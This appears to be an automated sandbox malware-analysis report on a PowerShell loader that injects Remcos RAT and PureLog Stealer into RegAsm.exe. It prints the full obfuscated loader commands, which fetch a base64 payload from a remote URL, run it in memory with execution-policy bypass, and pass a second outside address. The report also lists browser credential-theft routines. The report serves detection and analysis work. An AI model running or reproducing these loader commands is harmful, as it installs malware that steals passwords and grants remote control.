'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Injects a PE file into a foreign processes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 459000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 471000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 477000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 478000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 479000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 47E000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: CD2008 Jump to behavior
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe 11_2_00412132
Contains functionality to simulate mouse events
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00419662 mouse_event, 11_2_00419662
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiggJHNIRUxsSWRbMV0rJHNoRWxsSURbMTNdKydYJykgKCgnRklpJysndXJsID0gOXVPaHR0cHMnKyc6LycrJy9pYTYwMCcrJzEwMC51cy5hcmNoJysnaScrJ3ZlLm9yZy8yNC8nKydpdGVtcy9kZScrJ3RhaC1ub3RlLScrJ3YvRGV0YScrJ2hOJysnb3QnKydlVi50eHQ5dU87JysnRkknKydpJysnYmFzZScrJzY0QycrJ29uJysndCcrJ2VuJysndCcrJyAnKyc9IChOZXctT2JqZWN0IFN5c3RlbS5OJysnZScrJ3QnKycuV2ViJysnQycrJ2xpJysnZW50KS5EJysnb3cnKydubCcrJ29hZCcrJ1N0cmluZyhGJysnSScrJ2knKyd1cicrJ2wpJysnO0ZJaWInKydpbmFyeUNvbicrJ3RlJysnbnQnKycgJysnPSBbU3lzdGVtJysnLicrJ0NvbnZlcnRdOjpGcm9tQmEnKydzZTY0JysnU3QnKydyaW4nKydnJysnKEYnKydJaWJhcycrJ2UnKyc2NENvbnRlJysnbnQpO0ZJaWFzJysnc2VtJysnYmx5ID0gJysnW1JlZmxlJysnY3QnKydpb24uQXNzZW1ibHldOjpMbycrJ2FkKEZJaWJpbicrJ2FyJysneUMnKydvbnRlbnQpO0ZJaXR5JysncGUgPSBGSWlhc3MnKydlbScrJ2JseS5HZXQnKydUeXBlKDl1T1J1blAnKydFLkhvbWU5dScrJ08pO0ZJaW1ldGhvZCAnKyc9IEYnKydJJysnaXR5cGUnKycuR2V0TWV0JysnaG9kJysnKDl1T1ZBJysnSTl1Tyk7RicrJ0lpbWUnKyd0JysnaG8nKydkJysnLicrJ0ludm9rZScrJyhGSWknKyduJysndWwnKydsLCBbJysnb2JqZWMnKyd0W11dQCg5dU90eHQuRicrJ0MnKydDTVIvJysnNzExMi8zMjEuOTguMDkuJysnNTQvLzonKydwJysndCcrJ3RoOScrJ3VPICwgOXUnKydPZGVzYXRpdmFkbzknKyd1JysnTycrJyAsIDl1T2RlJysncycrJ2EnKyd0aScrJ3ZhZCcrJ285dU8gLCA5dU9kZXNhdGl2JysnYWRvOXVPLDl1T1JlZycrJ0FzbTl1Tyw5dU85JysndU8nKycpKScpLnJFUGxBQ2UoKFtjaEFSXTcwK1tjaEFSXTczK1tjaEFSXTEwNSksW3NUcmluZ11bY2hBUl0zNikuckVQbEFDZSgoW2NoQVJdNTcrW2NoQVJdMTE3K1tjaEFSXTc5KSxbc1RyaW5nXVtjaEFSXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ".( $sHELlId[1]+$shEllID[13]+'X') (('FIi'+'url = 9uOhttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/Deta'+'hN'+'ot'+'eV.txt9uO;'+'FI'+'i'+'base'+'64C'+'on'+'t'+'en'+'t'+' '+'= (New-Object System.N'+'e'+'t'+'.Web'+'C'+'li'+'ent).D'+'ow'+'nl'+'oad'+'String(F'+'I'+'i'+'ur'+'l)'+';FIib'+'inaryCon'+'te'+'nt'+' '+'= [System'+'.'+'Convert]::FromBa'+'se64'+'St'+'rin'+'g'+'(F'+'Iibas'+'e'+'64Conte'+'nt);FIias'+'sem'+'bly = '+'[Refle'+'ct'+'ion.Assembly]::Lo'+'ad(FIibin'+'ar'+'yC'+'ontent);FIity'+'pe = FIiass'+'em'+'bly.Get'+'Type(9uORunP'+'E.Home9u'+'O);FIimethod '+'= F'+'I'+'itype'+'.GetMet'+'hod'+'(9uOVA'+'I9uO);F'+'Iime'+'t'+'ho'+'d'+'.'+'Invoke'+'(FIi'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uOtxt.F'+'C'+'CMR/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uO , 9u'+'Odesativado9'+'u'+'O'+' , 9uOde'+'s'+'a'+'ti'+'vad'+'o9uO , 9uOdesativ'+'ado9uO,9uOReg'+'Asm9uO,9uO9'+'uO'+'))').rEPlACe(([chAR]70+[chAR]73+[chAR]105),[sTring][chAR]36).rEPlACe(([chAR]57+[chAR]117+[chAR]79),[sTring][chAR]39))" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liggjhniruxsswrbmv0rjhnorwxssurbmtndkydyjykgkcgnrklpjysndxjsid0goxvpahr0chmnkyc6lycrjy9pytywmccrjzewmc51cy5hcmnojysnascrj3zllm9yzy8ync8nkydpdgvtcy9kzscrj3rhac1ub3rllscrj3yvrgv0yscrj2hojysnb3qnkydlvi50ehq5du87jysnrkknkydpjysnymfzzscrjzy0qycrj29ujysndccrj2vujysndccrjyankyc9ichozxctt2jqzwn0ifn5c3rlbs5ojysnzscrj3qnkycuv2vijysnqycrj2xpjysnzw50ks5ejysnb3cnkydubccrj29hzccrj1n0cmluzyhgjysnsscrj2knkyd1cicrj2wpjysno0zjawinkydpbmfyeunvbicrj3rljysnbnqnkycgjysnpsbbu3lzdgvtjysnlicrj0nvbnzlcnrdojpgcm9tqmenkydzzty0jysnu3qnkydyaw4nkydnjysnkeynkydjawjhcycrj2unkyc2nenvbnrljysnbnqpo0zjawfzjysnc2vtjysnymx5id0gjysnw1jlzmxljysny3qnkydpb24uqxnzzw1ibhldojpmbycrj2fkkezjawjpbicrj2fyjysneumnkydvbnrlbnqpo0zjaxr5jysncgugpsbgswlhc3mnkydlbscrj2jses5hzxqnkyduexblkdl1t1j1blankydflkhvbwu5dscrj08po0zjaw1ldghvzcankyc9ieynkydjjysnaxr5cgunkycur2v0twv0jysnag9kjysnkdl1t1zbjysnstl1tyk7ricrj0lpbwunkyd0jysnag8nkydkjysnlicrj0ludm9rzscrjyhgswknkydujysndwwnkydslcbbjysnb2jqzwmnkyd0w11dqcg5du90ehquricrj0mnkyddtvivjysnnzexmi8zmjeuotgumdkujysnntqvlzonkydwjysndccrj3rooscrj3vpicwgoxunkydpzgvzyxrpdmfkbzknkyd1jysntycrjyasidl1t2rljysncycrj2enkyd0ascrj3zhzccrj285du8glca5du9kzxnhdgl2jysnywrvoxvpldl1t1jlzycrj0fzbtl1tyw5du85jysndu8nkycpkscplnjfugxbq2uokftjaefsxtcwk1tjaefsxtczk1tjaefsxtewnsksw3nucmluz11by2hbul0znikuckvqbefdzsgow2noqvjdntcrw2noqvjdmte3k1tjaefsxtc5ksxbc1ryaw5nxvtjaefsxtm5ksk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".( $shellid[1]+$shellid[13]+'x') (('fii'+'url = 9uohttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/deta'+'hn'+'ot'+'ev.txt9uo;'+'fi'+'i'+'base'+'64c'+'on'+'t'+'en'+'t'+' '+'= (new-object system.n'+'e'+'t'+'.web'+'c'+'li'+'ent).d'+'ow'+'nl'+'oad'+'string(f'+'i'+'i'+'ur'+'l)'+';fiib'+'inarycon'+'te'+'nt'+' '+'= [system'+'.'+'convert]::fromba'+'se64'+'st'+'rin'+'g'+'(f'+'iibas'+'e'+'64conte'+'nt);fiias'+'sem'+'bly = '+'[refle'+'ct'+'ion.assembly]::lo'+'ad(fiibin'+'ar'+'yc'+'ontent);fiity'+'pe = fiiass'+'em'+'bly.get'+'type(9uorunp'+'e.home9u'+'o);fiimethod '+'= f'+'i'+'itype'+'.getmet'+'hod'+'(9uova'+'i9uo);f'+'iime'+'t'+'ho'+'d'+'.'+'invoke'+'(fii'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uotxt.f'+'c'+'cmr/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uo , 9u'+'odesativado9'+'u'+'o'+' , 9uode'+'s'+'a'+'ti'+'vad'+'o9uo , 9uodesativ'+'ado9uo,9uoreg'+'asm9uo,9uo9'+'uo'+'))').replace(([char]70+[char]73+[char]105),[string][char]36).replace(([char]57+[char]117+[char]79),[string][char]39))"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'liggjhniruxsswrbmv0rjhnorwxssurbmtndkydyjykgkcgnrklpjysndxjsid0goxvpahr0chmnkyc6lycrjy9pytywmccrjzewmc51cy5hcmnojysnascrj3zllm9yzy8ync8nkydpdgvtcy9kzscrj3rhac1ub3rllscrj3yvrgv0yscrj2hojysnb3qnkydlvi50ehq5du87jysnrkknkydpjysnymfzzscrjzy0qycrj29ujysndccrj2vujysndccrjyankyc9ichozxctt2jqzwn0ifn5c3rlbs5ojysnzscrj3qnkycuv2vijysnqycrj2xpjysnzw50ks5ejysnb3cnkydubccrj29hzccrj1n0cmluzyhgjysnsscrj2knkyd1cicrj2wpjysno0zjawinkydpbmfyeunvbicrj3rljysnbnqnkycgjysnpsbbu3lzdgvtjysnlicrj0nvbnzlcnrdojpgcm9tqmenkydzzty0jysnu3qnkydyaw4nkydnjysnkeynkydjawjhcycrj2unkyc2nenvbnrljysnbnqpo0zjawfzjysnc2vtjysnymx5id0gjysnw1jlzmxljysny3qnkydpb24uqxnzzw1ibhldojpmbycrj2fkkezjawjpbicrj2fyjysneumnkydvbnrlbnqpo0zjaxr5jysncgugpsbgswlhc3mnkydlbscrj2jses5hzxqnkyduexblkdl1t1j1blankydflkhvbwu5dscrj08po0zjaw1ldghvzcankyc9ieynkydjjysnaxr5cgunkycur2v0twv0jysnag9kjysnkdl1t1zbjysnstl1tyk7ricrj0lpbwunkyd0jysnag8nkydkjysnlicrj0ludm9rzscrjyhgswknkydujysndwwnkydslcbbjysnb2jqzwmnkyd0w11dqcg5du90ehquricrj0mnkyddtvivjysnnzexmi8zmjeuotgumdkujysnntqvlzonkydwjysndccrj3rooscrj3vpicwgoxunkydpzgvzyxrpdmfkbzknkyd1jysntycrjyasidl1t2rljysncycrj2enkyd0ascrj3zhzccrj285du8glca5du9kzxnhdgl2jysnywrvoxvpldl1t1jlzycrj0fzbtl1tyw5du85jysndu8nkycpkscplnjfugxbq2uokftjaefsxtcwk1tjaefsxtczk1tjaefsxtewnsksw3nucmluz11by2hbul0znikuckvqbefdzsgow2noqvjdntcrw2noqvjdmte3k1tjaefsxtc5ksxbc1ryaw5nxvtjaefsxtm5ksk=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command ".( $shellid[1]+$shellid[13]+'x') (('fii'+'url = 9uohttps'+':/'+'/ia600'+'100.us.arch'+'i'+'ve.org/24/'+'items/de'+'tah-note-'+'v/deta'+'hn'+'ot'+'ev.txt9uo;'+'fi'+'i'+'base'+'64c'+'on'+'t'+'en'+'t'+' '+'= (new-object system.n'+'e'+'t'+'.web'+'c'+'li'+'ent).d'+'ow'+'nl'+'oad'+'string(f'+'i'+'i'+'ur'+'l)'+';fiib'+'inarycon'+'te'+'nt'+' '+'= [system'+'.'+'convert]::fromba'+'se64'+'st'+'rin'+'g'+'(f'+'iibas'+'e'+'64conte'+'nt);fiias'+'sem'+'bly = '+'[refle'+'ct'+'ion.assembly]::lo'+'ad(fiibin'+'ar'+'yc'+'ontent);fiity'+'pe = fiiass'+'em'+'bly.get'+'type(9uorunp'+'e.home9u'+'o);fiimethod '+'= f'+'i'+'itype'+'.getmet'+'hod'+'(9uova'+'i9uo);f'+'iime'+'t'+'ho'+'d'+'.'+'invoke'+'(fii'+'n'+'ul'+'l, ['+'objec'+'t[]]@(9uotxt.f'+'c'+'cmr/'+'7112/321.98.09.'+'54//:'+'p'+'t'+'th9'+'uo , 9u'+'odesativado9'+'u'+'o'+' , 9uode'+'s'+'a'+'ti'+'vad'+'o9uo , 9uodesativ'+'ado9uo,9uoreg'+'asm9uo,9uo9'+'uo'+'))').replace(([char]70+[char]73+[char]105),[string][char]36).replace(([char]57+[char]117+[char]79),[string][char]39))" Jump to behavior
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Managerh
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerH
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Managerf
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerF
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerJA\6
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager;
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerK
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager*
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerQ
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program Manager@
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Program ManagerJA\
Source: RegAsm.exe, 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: [Program Manager]
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00434CB6 cpuid 11_2_00434CB6
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 11_2_0045201B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 11_2_004520B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW, 11_2_00452143
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW, 11_2_00452393
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 11_2_00448484
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP, 11_2_004524BC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW, 11_2_004525C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW, 11_2_00452690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoW, 11_2_0044896D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: GetLocaleInfoA, 11_2_0040F90C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW, 11_2_00451D58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: EnumSystemLocalesW, 11_2_00451FD0
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00404F51 GetLocalTime,CreateEventA,CreateThread, 11_2_00404F51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_0041B69E GetComputerNameExW,GetUserNameW, 11_2_0041B69E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 11_2_00449210 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free, 11_2_00449210
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected PureLog Stealer
Source: Yara match File source: 10.2.powershell.exe.26f3e654470.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.powershell.exe.26f45f00000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.powershell.exe.26f3e654470.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.powershell.exe.26f45f00000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.1436384107.0000026F45F00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1404922826.0000026F3DE40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Remcos RAT
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7048, type: MEMORYSTR
Contains functionality to steal Chrome passwords or cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data 11_2_0040BA4D
Contains functionality to steal Firefox passwords or cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\ 11_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: \key3.db 11_2_0040BB6B

Remote Access Functionality
barindex
Detected Remcos RAT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Mutex created: \Sessions\1\BaseNamedObjects\Rmc-O0U3JA Jump to behavior
Yara detected PureLog Stealer
Source: Yara match File source: 10.2.powershell.exe.26f3e654470.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.powershell.exe.26f45f00000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.powershell.exe.26f3e654470.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.powershell.exe.26f45f00000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.1436384107.0000026F45F00000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1404922826.0000026F3DE40000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Yara detected Remcos RAT
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000B.00000002.2572660143.000000000114B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2570978425.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1404922826.0000026F3D897000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: powershell.exe PID: 7484, type: MEMORYSTR
